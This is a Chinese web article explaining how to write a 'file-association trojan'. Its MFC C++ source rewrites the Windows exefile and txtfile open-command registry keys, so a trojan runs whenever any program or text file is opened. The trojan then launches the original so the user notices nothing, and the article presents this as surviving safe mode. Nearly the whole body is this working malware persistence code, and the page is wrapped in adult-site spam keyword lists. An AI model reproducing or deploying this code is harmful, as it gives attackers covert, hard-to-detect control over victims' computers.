亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 編程 > Java > 正文

文件關聯型木馬的編程思路

2019-09-06 23:33:23
字體:
來源:轉載
供稿:網友

                    我們知道一般情況下想在開機啟動程序,就要把程序寫在注冊表中的

HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunService

等環境中,由于這個值大家都比較熟悉所以很容易被查出,而且進入了windows保護模式這些程序是不會運行的,但是如果我們把我們的程序在注冊表中進行了關聯卻收到了很好的結果。

在注冊表HKEY_CLASSES_ROOTexefileshellopencommand中的值就是可執行程序*.exe
文件的關聯處,缺省為“"%1"
%*”,如果把這個程序改為我們的木馬程序,那樣的話,每執行一個可執行程序就會執行我們的程序,而不會再執行原有的程序,這樣我們的木馬就起動了,我們要做的工作就是我們的木馬啟動后,再執行原有的程序,這樣對于一般的人來看好像什么事也沒發生過。好了心動不如行動,我們開始動手做一個吧。



l 首先用vc建立一個基于對話框的程序srart

在CstartDlg加入公有變量 HANDLE hMutex;防止我們的木馬運行多次。

l 在CStartDlg::OnInitDialog()中加入如下函數:

CString str;

str.Format("%s", AfxGetApp()->m_lpCmdLine);//取得傳入的命令行參數

const char *MutexObject="MyStart";//建立互斥對象

hMutex=NULL;

hMutex=::CreateMutex(false,false,MutexObject);

if(hMutex!=NULL)

{

DWORD err=GetLastError();



if(err==ERROR_ALREADY_EXISTS)
::PostQuitMessage(0);//如果發現同一程序已經運行,則退出



}

if(str!="")

{

CString temp;

char ch;

int length =str.GetLength();

for(int i=0;i<length;i++)

{

ch=str.GetAt(i);

if(ch=='/')

temp=temp+"http://";

else temp=temp+ch;



}

temp = temp.Left(temp.GetLength() - 2);

temp = temp.Mid(1);
//上面的函數是把字符串中所有的””變為”/”

char str1[]=""%1" %*";


::RegSetValue(HKEY_CLASSES_ROOT,"exefile/shell/open/command",

REG_SZ,(LPCTSTR)str1 , strlen(str1) + 1);

//
在執行原有程序之前必須把注冊表恢復,否則用ShellExecute還是執行我們的木馬程序。


ShellExecute(NULL,"open",temp,NULL,NULL,SW_SHOW);//執行原有的程序

}

//在程序執行完成后,再把注冊表改為我們要啟動的木馬程序的

TCHAR str2[256];

// 得到程序全路徑名

GetModuleFileName( NULL, str2, 255 );

strcat(str2," "%1" %*");


::RegSetValue(HKEY_CLASSES_ROOT,"exefile/shell/open/command",

REG_SZ,(LPCTSTR)str2 , strlen(str2) + 1);

//經過上述過程只要程序一運行就會執行我們的start
程序了。即使是在安全模式下只要執行可執行程序就會運行我們的程序了。



同樣的我們也可以將其它文件進行關聯,例如將文本文件進行關聯,在CStartDlg::OnInitDialog()中重新加下代碼

CString str;

str.Format("%s",AfxGetApp()->m_lpCmdLine);//取得傳入的命令行參數

const char *MutexObject="MyStart";//建立互斥對象

hMutex=NULL;

hMutex=::CreateMutex(false,false,MutexObject);

if(hMutex!=NULL)

{

DWORD err=GetLastError();



if(err==ERROR_ALREADY_EXISTS)
::PostQuitMessage(0);//如果發現同一程序已經運行,則退出



}

if(str.Find("txt")!=-1)

{

CString temp;

char ch;

int length =str.GetLength();

for(int i=0;i<length;i++)

{

ch=str.GetAt(i);

if(ch=='/')

temp=temp+"http://";

else temp=temp+ch;



}

temp = temp.Left(temp.GetLength() - 2);

temp = temp.Mid(1);
//上面的函數是把字符串中的""變為"/"

char str1[]=""%1" %*";



//
在執行原有程序之前必須把注冊表恢復,否則用ShellExecute還是執行我們的木馬程序。


ShellExecute(NULL,"open","notepad.exe",temp,NULL,SW_SHOW);//執行原有的程序

}

//在程序執行完成后,再把注冊表改為我們要啟動的木馬程序的

TCHAR str2[256];

// 得到程序全路徑名

GetModuleFileName( NULL, str2, 255 );

strcat(str2," "%1" %*");


::RegSetValue(HKEY_CLASSES_ROOT,"txtfile/shell/open/command",

REG_SZ,(LPCTSTR)str2 , strlen(str2) + 1);

//經過上述過程只要程序一運行就會執行我們的start 程序了。


當然了這些程序在自己的機器上運行后還是要恢復的下面的函數就可以幫助進行恢復了

char str2[]="NOTEPAD.EXE %1";


::RegSetValue(HKEY_CLASSES_ROOT,"txtfile/shell/open/command",

REG_SZ,(LPCTSTR)str2 , strlen(str2) + 1);

char str1[]=""%1" %*";


::RegSetValue(HKEY_CLASSES_ROOT,"exefile/shell/open/command",

REG_SZ,(LPCTSTR)str1 , strlen(str1) + 1);


當然了這個程序在win98下運行比較正常,在win2000下無法打開桌面上的文件夾,再也就沒什么問題了。如果誰知道,請告訴我,

sunyuzhe@263.net
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表

圖片精選

亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
亚洲久久久久久久久久| 国产精品美女999| 中文字幕日韩精品有码视频| 日韩激情视频在线播放| 日韩免费观看在线观看| www.久久色.com| 久久亚洲综合国产精品99麻豆精品福利| 国产精品视频白浆免费视频| 97精品免费视频| 97色在线播放视频| 日本午夜人人精品| 亚洲欧美一区二区三区在线| 国产欧美日韩中文字幕在线| 欧美激情视频在线免费观看 欧美视频免费一| 亚洲美女在线视频| 精品中文字幕在线| 欧美视频在线观看 亚洲欧| 亚洲欧洲黄色网| 福利视频第一区| 欧美亚洲视频一区二区| 欧美中文字幕精品| 91av在线视频观看| 欧美xxxx18性欧美| 久久久之久亚州精品露出| 欧美乱大交xxxxx另类电影| 日韩激情片免费| 日韩av影院在线观看| 亚洲成成品网站| 日日狠狠久久偷偷四色综合免费| 国产精品视频久久久久| 欧美日韩国产丝袜另类| 国产成人精品视| 欧美视频精品一区| 国产欧美日韩最新| 久久亚洲私人国产精品va| 亚洲国产成人精品久久| 黄色成人在线免费| 91免费综合在线| 欧美国产日韩一区二区在线观看| 国产成人综合亚洲| 亚洲国产婷婷香蕉久久久久久| 欧美大片在线免费观看| 91精品国产91久久久| 日韩欧美极品在线观看| 日韩在线观看免费| 国产美女主播一区| 91色琪琪电影亚洲精品久久| 国产999在线观看| 精品福利一区二区| 98精品在线视频| 欧美大片大片在线播放| 欧美大尺度激情区在线播放| 丝袜美腿亚洲一区二区| 中文字幕一区二区三区电影| 国产精品成熟老女人| 欧美黄色三级网站| 在线播放国产一区二区三区| 欧美成人免费大片| 91久久在线播放| 欧美午夜视频在线观看| 精品国产精品三级精品av网址| 热99久久精品| 亚洲美女性视频| 在线国产精品视频| 欧美—级a级欧美特级ar全黄| 国产精品视频大全| 91精品91久久久久久| 97免费视频在线播放| 亚洲精品福利视频| 欧美性xxxxxxx| 91视频-88av| 日本伊人精品一区二区三区介绍| 欧美性xxxxx极品娇小| 久久久亚洲影院你懂的| 日韩av不卡在线| 国产69精品久久久久9999| 国产一区二区三区久久精品| 中文字幕欧美日韩在线| 欧美午夜精品在线| 成人羞羞国产免费| 国外色69视频在线观看| 欧美日韩国产麻豆| 成人精品视频久久久久| 亚洲偷熟乱区亚洲香蕉av| 国产亚洲视频中文字幕视频| 91高清免费在线观看| 日韩欧美999| 中文国产成人精品久久一| 日韩中文在线观看| 日韩精品丝袜在线| 久久成人18免费网站| 亚洲三级免费看| 在线观看欧美日韩| 欧美激情视频一区二区| 91免费人成网站在线观看18| 欧美最猛黑人xxxx黑人猛叫黄| 欧美丝袜一区二区三区| 久久成人在线视频| 久久精品国产亚洲一区二区| 精品国产乱码久久久久久天美| 亚洲美女福利视频网站| 97高清免费视频| 另类图片亚洲另类| 精品丝袜一区二区三区| 国产精品美女久久久久久免费| 欧美国产精品人人做人人爱| 亚洲精品国产品国语在线| 成人久久一区二区| 中文欧美日本在线资源| 久久久成人精品视频| 国产精品久久91| www.亚洲成人| 911国产网站尤物在线观看| 久久久亚洲天堂| 欧美激情乱人伦| 欧美高清视频在线观看| 欧美激情精品久久久久| 亚洲**2019国产| 亚洲欧美日韩一区在线| 国产亚洲精品综合一区91| 亚洲精品中文字幕女同| 久久人人爽人人爽人人片av高清| 国产精品网站大全| 亚洲性视频网址| 成人av.网址在线网站| 成人精品一区二区三区电影黑人| 久久精品久久久久电影| 中文字幕精品一区久久久久| 日韩av手机在线看| 日韩av手机在线| 欧美自拍大量在线观看| 亚洲电影中文字幕| 亚洲三级av在线| 91精品在线播放| 色综合男人天堂| 欧美激情喷水视频| 亚洲va欧美va国产综合久久| 韩剧1988在线观看免费完整版| 欧美激情久久久| 亚洲欧洲在线免费| 欧美精品第一页在线播放| 欧美三级欧美成人高清www| 国产男人精品视频| 992tv成人免费影院| 欧美巨大黑人极品精男| 日韩在线观看av| 欧美极品xxxx| 国产精品国语对白| 欧美福利视频在线| 91情侣偷在线精品国产| 亚洲男人天天操| 欧美性视频网站| 狠狠爱在线视频一区| 亚洲国产欧美精品| 亚洲人午夜色婷婷| 亚洲国产精品高清久久久| 成人h视频在线观看播放| 亚洲成人免费网站| 57pao国产精品一区| 国产成人精品免费视频| 91成品人片a无限观看| 一区二区亚洲精品国产| 国产午夜精品视频免费不卡69堂| 亚洲视频一区二区|